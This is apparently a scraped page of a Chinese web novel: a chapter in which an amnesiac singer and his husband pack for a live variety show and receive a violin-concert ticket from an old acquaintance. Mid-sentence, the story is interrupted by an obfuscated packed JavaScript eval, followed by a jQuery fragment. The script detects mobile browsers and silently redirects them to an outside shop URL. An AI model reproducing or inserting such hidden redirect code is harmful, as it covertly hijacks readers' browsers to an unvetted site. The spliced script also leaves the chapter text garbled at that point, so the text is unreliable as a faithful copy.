文趣网 > 都市小说 > 清冷老婆失忆后 > 17.第 17 章
    季桉说完,感觉身边的人忽然就安静了。低头看过去,宁知还头几乎要埋到自己衣领里,只剩一只毛茸茸的发旋冲着他。

    季桉没忍住伸手戳了戳,像打开了什么开关,宁知还闷闷道:“对不起啊……吓到你了。”

    按在发旋上的指腹被换成屈起的指节,不轻不重地敲了一下。

    “吃一堑长一智。”季桉说,“记住了,下次开车遇见危险先——”

    “减速。”宁知还乖乖道。

    “如果实在刹不住了,方向盘要往——”

    “左边打。”

    “真棒。”

    电梯门打开,季桉笑了声走出去,宁知还在后面亦步亦趋地跟着,抬眼偷偷觑他,嘴角安安静静地浅勾了一下。

    真好哄呀,小季同学。

    和季桉三天不见,宁知还本来还担心会有些隔阂,一路上才紧张至此。

    现在……倒是都散了。

    宁知还于是叮嘱:“那个综艺我记得是直播,你上去可别乱说什么死不死的……影响不好。”

    “好。”

    进了家门,季桉显然心情愉悦,他一放松,嘴上挂着酷哥包袱的闸门好像也松了一样,喜欢念念叨叨。

    “明天去综艺,你尽量跟我一块走,有不舒服就说。如果实在要做单人任务,不想做就不做,我想办法帮你……”

    宁知还左耳进右耳出,让他说了个尽兴,还时不时配合着点头。

    其实季桉声音条件很好啊……他心里琢磨。

    不是那种特别低沉磁性到荷尔蒙有点过重的类型,宁知还也不太喜欢那种,质量不好的那批,感觉像抱着让全世界人类怀孕的决心说出每句话。

    季桉这种偏中低的声调质感正好,其实很适合唱些温柔的歌。

    ……

    宁知还正想到美处,忽然觉得后颈被拎了一下。

    季桉侧目看他,微微挑动了一下眉头。

    “原来在走神啊……”

    宁知还无辜眨眼,目光游游荡荡地,定在吧台边的小座钟上,努了努嘴。

    “你快去收拾行李吧,我来点外卖。”

    两人回来的路上,其实也有经过两个商超,但都因为宁知还过于紧张,而错过了拐进停车场的路口。

    所以家里现在仍是一贫如洗。

    宁知还言之有理,季桉姑且放过了他,往储藏间走去:“我还是把你的东西一并收了……”

    两人刚领证还住在峦城那年,宁知还正是事业上升期,炙手可热的天才歌手三天两头地出差,行李都是季桉帮他收的。

    起初季桉会藏起一些不那么重要的小东西,想等着宁知还多发几条消息问他,这个在哪,那个又在哪儿。

    但宁知还似乎总是很聪明,从来都没有找不到的时候。

    再后来,不记得从什么时候起,宁知还说这种小事不要麻烦他了。

    季桉忽然就失了业。

    ……

    今天终于又有了返聘的苗头。

    忽然身后传来宁知还的声音。

    “我已经收好了啊。”

    愣了一下,季桉回头。宁知还往吧台一靠,优雅又矜持地把刘海往后一捋,淡淡地骄傲。

    季桉顿时又觉得这份工作也并不重要了,点了点头,不疑有他,拉开隐藏式的储藏间门。

    宁知还一惊:“这怎么还有个房间!”

    季桉:?

    对啊,这人都失忆到连主卧的位置都找不到,又怎么可能知道自己的行李箱放在储藏室里,而储藏室的门做了个隐藏式。

    他啪地点亮储藏室的灯,果不其然,宁知还几个大小不一的白色灰色箱子,还稳稳当当杵在那里,自己的行李箱则藏在后面,显然不常被使用。

    “……你是买新箱子了吗?”季桉思索着,疑惑,见宁知还同样疑惑地摇头,不由道。

    “那你收好的行李呢?”

    宁知还头都没回,反手潇洒地指了一下客厅沙发上的……

    双肩背包。

    看起来,甚至是个书包。

    “我们要去五天,对吧。”季桉确认,“你这一个小包就够了?”

    宁知还不明所以地点头,坐在高高的吧台凳上翻着外卖,很有底气,示意季桉不信去看。

    怀着一种肃然起敬的心情,季桉走过去拉开书包,本以为会看到归置整齐的zip压缩包。

    可拉链一开,里面只松垮垮地堆了一片白花花的东西。

    ……

    一次性换洗衣物,和一次性床品四件套,各五份。

    他甚至不愿意思考一下,五天只有四个过夜。

    季桉低头看了好久,冷不丁想起宁知还随口炫耀过的话,问。

    “你……以前一个人坐飞机去外地参加艺考,也是这么带的?”

    宁知还看着外卖哪个都新鲜,随便下单一个,抬头否认:“不是。”

    顿了一下。

    “除了准考证和琴,我什么都没带。”

    大概是季桉的眼神太过刺眼,宁知还莫名其妙直起身子,有点来劲,理直气壮道:“酒店什么都有,其余的到地方再买就是了。”

    “虽然说我跟我爸妈,我们家三个人好像彼此都不是很熟的样子,但至少钱和琴这块他们从来没有亏过我的。要削减一切无用的时间用来练琴——他们是这么说的。”

    末了,宁知还压低声音,悄悄道:“虽然我也没有很好好练琴。”

    大概是季桉沉默得太久,又或者他那个欲言又止的表情让宁知还有点如坐针毡,宁知还有点紧张起来,胡乱转动大脑,竟然也念念叨叨起来。

    “说起来,就我们家这个一两个月不联系的频率,唉,估计他们都还不知道我撞车了呢……也不知道我离婚吧,反正离婚也不需要他们签字。对了,我们办婚礼了吗?办婚礼他们总要来了吧。”

    季桉终于在长久的沉默里,安静拉上了那个非常一次性的书包,回答:“没办婚礼,你不喜欢,我也觉得无所谓……行李还是我来收吧,这个包……也给你背上。”

    “行的,行的。”宁知还很是满意,终于结束了东拉西扯,低头喝了半杯水润嗓子。

    去接季桉之前他赶工录那首广告曲的demo,录完水都没来得及喝一口就出门了,这会儿叽叽喳喳一通,嗓子都快冒烟了。

    -

    季桉不愧是常拖着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923083|212984||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    箱子到处跑的人,收拾行李又快又好,外卖门铃响起时,季桉正巧合上24寸的行李箱,刷地拉上拉链,动作利落宛如侠客收刀入鞘。

    他去客卫洗手,宁知还跳下吧台凳开门取外卖。

    物业管家微笑着递上外卖,又拿出一封EMS邮件:“宁先生,还有一封今天下午送过来的跨国邮件。”

    宁知还点头接过来,关上门正正反反端详了好一会儿,好奇撕开。

    里面倒出一张门票,和一张纹路古朴的信纸。

    金红相间的门票主题显眼,世界经典小提琴名曲音乐会。

    特邀嘉宾:郑子期;

    曲目:柴可夫斯基 D大调小提琴协奏曲(第三乐章)。

    信纸上文字更是简短,是飘逸的手写字体,有种车马书信都很慢的韵味。

    【绍城的演出场馆不大,只是串场,没什么含金量。但想来你最近心情不佳,来散心吧。

    ps:常年漂泊,中文退步,本信件由留学生朋友代笔,勿怪。】

    信件角落,还有一行附加上去的、歪歪扭扭的小字。

    【有礼牛勿,来,love you foever——郑孑其月】

    宁知还一眼扫过去,小声“哈哈”了一下。

    客卫的水声停下,脚步声在他身后消失。季桉站在他身后垂眸看向那张信纸,和缓缓回头的宁知还对视上之后,一扯嘴角,学着他。

    “哈哈。”

    板板正正地,一脸死气地。

    宁知还指着邮件乐:“他怎么会知道我们家地址?”

    季桉听笑了,说:“你问我?”

    “哈哈。”宁知还一脸天真,试图萌混过关,指指自己脑袋,“我这里不好用。”

    季桉顶着一张死人脸看了他好一会儿,突然一个没忍住,侧过头笑出声来。

    那你都说到这份儿上了,我还能说什么?

    既然已经破功,季桉索性直接抽出那张票,见宁知还的目光还眼巴巴地追着走,舌尖顶了顶腮,绷直了票在他鼻尖轻拍。

    “想去?”

    “实话说,挺想的。”宁知还诚恳道,“好奇他现在到底拉得怎么样……但是不是有点不好啊。”

    他叹了口气,蔫巴巴道:“二十八岁的世界好复杂。”

    季桉却说:“也简单。”

    宁知还立刻抬头,用看向社交能力拉满的成年人的目光,期待又崇拜地看着他。

    季桉往玄关柜上一靠,票尖点了点自己脸颊,道。

    “你亲我一下,拍照发给他,说谢谢,但是还差一张票。”

    说罢,见宁知还呆呆愣住,浑身上下只有一双眨巴的眼睛在动,季桉轻笑了声,手肘支着玄关柜,不打招呼地忽然弯腰,凑近了看他,眼睛微眯出似有若无的笑意。

    “亲不亲?”

    咚咚。

    咚咚。

    ……

    宁知还心脏乱跳,季桉突然这样,他眼睛都不知道往哪里放,脑海里更是锣鼓喧天地闹成一团。

    “你……哎!”他耳朵红红的,踢了一脚玄关柜,和心跳一起咚咚作响。

    “你这个样子,我好想写歌啊。”